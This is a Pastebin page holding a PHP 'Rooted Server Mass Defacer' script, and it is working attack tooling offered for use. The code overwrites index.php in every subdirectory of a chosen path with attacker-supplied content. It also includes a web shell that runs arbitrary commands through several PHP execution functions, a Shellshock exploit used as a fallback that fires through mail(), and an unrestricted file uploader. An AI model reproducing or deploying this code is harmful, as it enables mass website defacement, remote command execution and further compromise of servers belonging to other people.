smziaurrashid

Rooted Server Mass Defacer

Dec 5th, 2015
1,160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.63 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. Rooted Server Mass Defacement
  5. Recoded by Kazi Shaheb
  6. */
  7.  
  8. echo "<title>./</title>";
  9. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet'  type='text/css'>";
  10. echo"<body bgcolor='black'><font color='skyblue'><font face='Iceberg'>";
  11.  
  12. $server=$_SERVER['SERVER_ADDR'];
  13. echo "<font color='gold'><b>Server IP :</b> </font>".$server;
  14. $software=$_SERVER['SERVER_SOFTWARE'];
  15. echo "<br><b><font color='cyan'>Software:</font></b>".$software;
  16. echo "<center><form method='POST'>";
  17. echo "<font color='lime'><b>Base Dir : </b></font><input type='text' name='base_dir' size='45' value='".getcwd ()."'><br><br>";
  18. echo "<font color='yellow'><b>File Name :</b></font> <input type='text' name='file_name' value='index.php'><br><br>";
  19. echo "<font color='aqua'><b>Your Index :</b></font> <br><textarea style='width: 785px; height: 330px;' name='index'>//paste your deface here</textarea><br>";
  20. echo "<input type='submit' value='Kupa!'></form></center>";
  21.  
  22. if (isset ($_POST['base_dir']))
  23. {
  24. if (!file_exists ($_POST['base_dir']))
  25. die ($_POST['base_dir']." Not Found !<br>");
  26.  
  27. if (!is_dir ($_POST['base_dir']))
  28. die ($_POST['base_dir']." Is Not A Directory !<br>");
  29.  
  30. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  31.  
  32. $files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
  33.  
  34. foreach ($files as $file):
  35. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  36. {
  37. $index = getcwd ()."/".$file."/".$_POST['file_name'];
  38. if (file_put_contents ($index, $_POST['index']))
  39. echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  40. }
  41. endforeach;
  42. }
  43.  
  44. //Execute
  45. echo'<tr><td align="center">
  46. <form method="POST">
  47. <font size="2" face="Courier"><b>Command:</b></font><br />
  48. <input type="text" size="30" name="Command" value="uname -a">
  49. <input type="submit" value="Exec">
  50. </form>
  51. </td></tr>';
  52. if(!empty($_POST['Command'])) {
  53. $cmd = trim($_POST['Command']);
  54. echo'<tr><td align="center">';
  55. echo'<textarea style="width: 926px; height: 382px;">';
  56. echo m4Ex($cmd);
  57. echo'</textarea><br />';
  58. }
  59.  
  60. function m4Ex($in) {
  61. $out = '';
  62. if (function_exists('exec')) {
  63. @exec($in,$out);
  64. $out = @join("\n",$out);
  65. } elseif (function_exists('passthru')) {
  66. ob_start();
  67. @passthru($in);
  68. $out = ob_get_clean();
  69. } elseif (function_exists('system')) {
  70. ob_start();
  71. @system($in);
  72. $out = ob_get_clean();
  73. } elseif (function_exists('shell_exec')) {
  74. $out = shell_exec($in);
  75. } elseif (is_resource($f = @popen($in,"r"))) {
  76. $out = "";
  77. while(!@feof($f))
  78. $out .= fread($f,1024);
  79. pclose($f);
  80. } else {
  81. $out = shellshock($in);
  82. }
  83. return $out;
  84. }
  85.  
  86. function shellshock($cmd) {
  87. if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
  88. $tmp = tempnam(".","data");
  89. putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  90. mail("[email protected]","","","","-bv");
  91. }
  92. else return "Not vuln (not bash)";
  93. $output = @file_get_contents($tmp);
  94. @unlink($tmp);
  95. if($output != "") return $output;
  96. else return "No output, or not vuln.";
  97. }
  98. // Uploader
  99. echo '<br /><br /><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  100. echo'<input type="file" class="wkwk" name="file" value="Choose file" size="60" ><input class="wkwk" name="_upl" type="submit" id="_upl" value="Upload"></form>';
  101. if($_POST['_upl']=="Upload"){
  102. if (@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){echo'<br /><br /><b>Uploaded successful !!<br><br>';}
  103. else {echo'<br /><br />Not uploaded !!<br><br>';}
  104. }
  105.  
  106. echo "<div><footer id='ftr' style='position:fixed; left:0px; bottom:0px; background:gray; text-align:center;'><b>&#169; <font color:yellow>Kazi Shaheb</font><font color:black>☻</font></b></footer><div>";
  107. echo "</body>";
  108. ?>
Advertisement
Add Comment
Please, Sign In to add comment